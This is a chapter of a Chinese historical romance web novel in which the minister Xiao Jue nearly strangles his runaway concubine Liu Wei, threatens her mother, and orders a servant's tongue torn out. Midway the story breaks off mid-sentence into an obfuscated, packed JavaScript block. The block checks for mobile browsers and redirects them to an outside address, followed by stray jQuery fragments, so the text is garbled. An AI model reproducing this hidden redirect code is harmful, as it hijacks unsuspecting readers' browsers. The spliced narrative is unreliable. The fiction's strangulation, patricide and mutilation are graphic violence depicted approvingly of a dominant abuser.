夜宴设在西苑，里外皆有侍卫把守，凝晖院的小厮费了老大的劲，才入内见着萧绝，低声报告柳薇私自逃跑的始末。


    殿内载歌载舞，曼妙舞姿掩住了萧绝凛然的容颜，丝竹管弦盖过了萧绝阴森的笑声。


    卷了他赏的钱，挑他不在家的时候，脚底抹油跑了。原以为她是个无知窝囊的东西，现在竟和他耍滑头来，倒是先前小瞧她了。


    萧绝搁下茶杯，起身向上首小皇帝拱手道：“臣家中出了个内贼，下人们无能，处理不了，臣只好亲自回家一趟，恕臣失陪了。”


    小皇帝处处被他辖制，不敢发表质疑，点一点头，关心道：“若棘手的话，朕可以调遣几个侍卫，随萧大人前往解决问题。萧大人意下如何？”


    萧绝自信一笑：“一小贼，臣应付得过来，无需劳烦他人。”


    他的能力，有目共睹，小皇帝并不勉强，目送他从容离席。


    策马疾驰时，萧绝在想：当今皇帝尚且对他言听计从，偏偏一个柳薇，忤逆他背叛他，实在胆大包天、不知死活。两面三刀、背主忘恩的东西，留着有何用？不如一把掐死干净。


    萧绝是真的对柳薇起了杀心，于是，演变出目前单手钳制柳薇的一幕。


    “满嘴谎话，该罚。背叛主子，更该罚。”萧绝只是攥着她的脖子，略使了点力气，“数罪并罚，柳薇，你猜，你将是何等下场？”


    柳薇满眼泪光，吃力地出声：“奴婢……错了……”


    “明知故犯，该死。”萧绝堪堪收紧指节，冷然藐视掌中之人瞠目张口，吐露阵阵浑浊的声响。


    咽喉越来越紧，越来越堵，求生的本能发挥作用，使得柳薇猛然抓住男人的手臂，无声地呐喊：我不想死……救命……


    “现在才说不想死？晚了。”萧绝冷笑，手上的力道丝毫未减。他因她而盛怒，那么，想平息他的怒火，唯有她死。


    耳朵里嗡嗡鸣响，他说什么，柳薇无法听清；眼睛里灰蒙蒙一片，他是什么表情，柳薇亦无法分辨。她只知道，她今日难逃一死。


    要死了。


    就这么死了。


    真不甘心啊。


    可是，好疼，好累……要坚持不住了。


    ……


    她松手，荡下双臂，放弃抵抗，用窒闷的气息，最后推出一声：“娘……”而后，闭上双眼，等死。


    从一个不受待见的庶子，到如今位极人臣，这条路上，萧绝不可避免地背负了多条人命，有借刀杀人，也有亲自动手。前者，多如牛毛，记不清了；后者，倒仅有一个，便是老国公，他的生身父亲。


    外界传言，是他能力过人，才令老国公刮目相看，许他袭爵管家，其实只对了一半——他确实压倒众人，偏偏老国公有眼无珠，宁肯纵容私心，把萧家的未来托付给两个嫡子，也就是萧经萧绘那两堆烂泥，也不肯顾全大局，选定他。老家伙厚颜不仁，他便安心不义，提前送卧病在床的老家伙归西。当时他谨慎行事，是用被子给闷死的，过程很快，去得很干脆。


    今时的柳薇与彼时的老国公一模一样，弱极，全无还手之力，他再用些力气，便可彻底掐灭她的生机，结束她的痛苦。


    呵……他险些忘了，这女人不听他的警告，顶风作案，背叛他，若轻易取了她的命，一条不值几个钱的命，岂不是便宜了她？


    窒息感，戛然而止。空气源源不断，充盈了鼻腔。一呼一吸，犹如刀割，剧痛瞬间刺醒了柳薇的沉入混沌漩涡的神识。


    萧绝适时抽手，由她摇摇坠落，伏地咳嗽干呕。呕来呕去，翻上来的是一摊黄水。合着这东西为了逃跑，水米未进。萧绝嗤之以鼻：“你却是用心良苦。”


    呕得咳得脏腑绞痛，柳薇难以维持，蜷缩在原地，默默流泪。


    用心良苦又如何，到头来还不是一场空……可恨钱家人，黑心烂肺，欺辱阿娘，强词夺理；可恨她自己，愚蠢到家，以为只是一百两的事，进而铤而走险，触怒萧绝，把命也赔了进去……真真是蠢透了！


    “我，真蠢……”柳薇追悔莫及，失声痛哭。


    “嗯，蠢得我都丧失杀你的兴趣了。”萧绝起身，面向钱家的位置，“你豁出去犯蠢，就是为了给你娘赎身，对么？”


    宫宴上，家里小厮交代过柳薇冒险夜奔的动机，萧绝过一过耳朵，并没有深究，也没有必要深究，因为只要知道这蠢材的软肋在她母亲即可。


    萧绝亲口说没兴趣杀自己，又提及母亲，柳薇恍惚过劲儿，忍着浑身的不适，支起上半身，遥遥仰望他的侧脸，道：“您想做什么……”


    看都不必看，萧绝对她的思想了如指掌，道：“你依然是我的妾，那么你娘在别人家生不如死，我自然不能见死不救了。”


    刚刚还要掐死她泄愤，一转眼非但网开一面留她一命，还要帮她救母？柳薇难以置信他会仁慈至此。“真的……吗？”


    “当然。”萧绝微微侧目，“我不介意赎你娘出来，让你爹你娘久违地团聚。”


    柳薇立刻愣住。


    他的意思是，赎出阿娘，推阿娘回那个与魔窟无异的家，面对她那混账爹；等混账爹几时又缺钱了，再拿阿娘抵债？


    他何曾是想助她，他是想用阿娘来拿捏她！


    柳薇逼着自己爬起来，离他近一些，卑微到可怜：“我娘不能回去，不然又会被卖了的。求您，手下留情……”


    萧绝高高在上，眉压着眼，道：“你犯的错，总得找个人替你承担。而你娘同你血脉相连，正是不二之选。”


    心理防线轰然坍塌。柳薇扑通跪下，以头抢地，苦苦乞求：“千错万错都是奴婢的错，您要打要杀，奴婢绝无怨言，只求您不要迁怒我娘，放她一条活路吧……奴婢求您了！”


    萧绝无视她，命随从去钱家赎人，办妥了便送回柳家。


    柳薇心急如焚，一下下磕头哀求。萧绝心硬如铁，不为所动，自掸掸身上的披风，冷漠道：“起来，自己往回走。”完了命令一个随从：“你，沿途监视。如有意外，唯你是问。”


    钱家地处城西，萧家地处城北，相隔甚远，坐马车耗时半个多时辰，步行的话，至少两个时辰。


    萧绝不杀她，反而要慢慢地耗干她。


    由于自己鲁莽，酿成大祸，柳薇悔恨难当，心里骂了自己一万遍。可惜，悔恨无用，阿娘还在水深火热中，她不能颓丧倒下，不能轻言放弃，得想办法补救。


    柳薇迟缓地撑起身躯，看见萧绝轻巧跃上马背，拨转马头，沐月迎风，渐渐遥不可及。


    恭送完萧绝，小厮耳闻咚的一声，却见柳薇毫无征兆地歪了下去，眼睛闭着，气息微弱。小厮眉心一跳，大感不免，忙前去呼唤：“柳姑娘，你怎么了？你快醒醒！”


    唤来唤去，她都没有反应。


    人晕了，没法走了，这怎么办呢？


    小厮左手握拳捶着右手心，原地踱步几圈，到底是情急，撇开男女大防、主仆之别，伸手


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197404|196032||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去掐她人中，然而没有苏醒的迹象。


    小厮犯了难，心想那地上那么凉，放她一直躺着，万一有个三长两短的，第一个没法对国公爷交代。要不搀她起来，由马驮回府里？……似乎也只剩下这一招了。


    小厮点点头，道一声罪过，弯腰捞人之际，眼梢余光忽然闯入一人一马。及看真切来者真容，小厮慌里慌张退后解释：“柳姑娘晕倒了，走不了，小的没辙，准备将柳姑娘扶上马背，送柳姑娘回去……小的绝没有冒犯之意。”


    “量你也不敢。”萧绝轻盈着地，傲视底下缩成一团的人——眼角仍在滴泪。泪水划过鼻梁，经过嘴唇、下巴，落在项间，描摹出清晰的手掌印。


    “阳奉阴违，令人生厌。”萧绝冷笑着，折腰打横抱起柳薇，扔上马背，他自己接着坐上去，臂弯里擒住她，扬长而去。


    萧绝带柳薇纵马驰骋，最后停在西侧门外。东良事先率人恭候于此，确认马上趴着的是柳薇，还有生气，暂时松了一口气。


    萧绝抛下柳薇下马，径直入门，下令：“叫医生，给那女人看看。看好了，关柴房里反思省过。”


    东良等都是男人，不好碰柳薇，便勒令春雨接柳薇下来，往住处去安顿看医生。


    萧绝直达前院书房，正襟危坐。东良亦步亦趋，呈上两张纸，汇报：“我又检查了一遍柳姑娘的屋子，发现首饰箱子里少了些东西。当时买下，留着清单，我仔细核对过，一共缺了五样。我推测，柳姑娘应当是趁人不注意典卖了。于是，我顺藤摸瓜，找着了与柳姑娘做交易的当铺，要了当时的凭据。请您过目。”


    萧绝接过，浏览完毕，笑了：“上等之物，落到那女人手里，总共只值一百两，何其愚蠢。”


    东良道：“的确是那当铺黑心，坑骗人。不过一说是咱们府上的东西，他们上赶着还东西，钱也不要了。我没那么做，还是以原价赎了回来。”


    萧绝动手将那两张纸投入香炉，火苗登时窜得老高，而他的声音一如既往平稳：“天子脚下，竟行此坑蒙拐骗之事，是该整治整治了。明日，你持我的腰牌，找到西城兵马司指挥，告诉他，严查严整城西市场，尤其是各个当铺，为期一月。”


    东良表现出几分为难：“城西有不少铺子，特别是当铺，是各位王爷公主名下的产业。这般大规模地行动，恐怕会引起不满……”


    萧绝卸下腰牌，掷给东良，神态轻狂：“谁有不满，让他来找我。”


    东良无言以对，收好令牌。


    萧绝道：“因玩忽职守，让柳薇得逞的那个小子呢？”


    东良料到他会追究，早把那小厮绑了过来。因回：“在外边候着。那叫他进来？”


    萧绝颔首。


    东良转头去领人进来，不等喝他，他自个儿跪倒，重重磕头乞饶。


    萧绝意外地耐心，沉默寡言听他颠三倒四地认罪，眼色清冷地看他把额头磕得鲜血淋漓。等他磕不动说不动了，方闲闲道：“你担着守门的责任，来了个人，却不看不问此人身份，放心把摊子交出去，擅离职守。又废又爱狡辩。来啊，把他拖下去，将舌头拔了，杖打三十。”


    立有人进来架走那小厮。


    东良看在眼底，有口难言。


    萧绝扶额阖目，淡淡道：“今天的事，烂在肚子里，不得让祖母知道。”


    萧绝隐瞒老太太，有她年纪大了不能操心的考量，也有不愿凝晖院之丑闻外扬的意思。


    东良称是。